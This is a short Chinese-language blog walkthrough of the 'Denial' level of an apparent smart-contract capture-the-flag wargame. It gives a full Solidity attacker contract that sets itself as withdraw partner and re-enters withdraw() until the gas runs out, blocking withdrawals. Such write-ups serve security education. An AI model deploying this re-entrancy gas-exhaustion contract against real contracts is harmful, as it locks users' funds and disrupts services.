20. Denial

本關需要阻止其他人從fund中withdraw以太幣,亦即要阻止withdraw函數的運行。

觀看關卡代碼,可以看見在withdraw函數中,有以下代碼︰

partner.call.value(amountToSend)("");

代碼中的partner可透過上方的setWithdrawPartner函數來設定。因此只要把partner設定為智能合約地址,即可使用Re-entrancy中的技巧,於另一合約中重複呼叫withdraw函數,直至把gas用光,函數無法繼續執行。

打開Remix IDE,新建檔案Denial.sol貼上︰

pragma solidity ^0.8.0;

interface IDenial {
    function withdraw() external;
    function setWithdrawPartner(address _partner) external;
}

contract Denial {
    address levelInstance;

    constructor(address _levelInstance) {
        levelInstance = _levelInstance;
    }

    fallback() external payable {
        IDenial(levelInstance).withdraw();
    }

    function set() public {
        IDenial(levelInstance).setWithdrawPartner(address(this));
    }
}

然後發送,呼叫set函數。最後按提交,本關完成。

發表留言

%d 位部落客按了讚: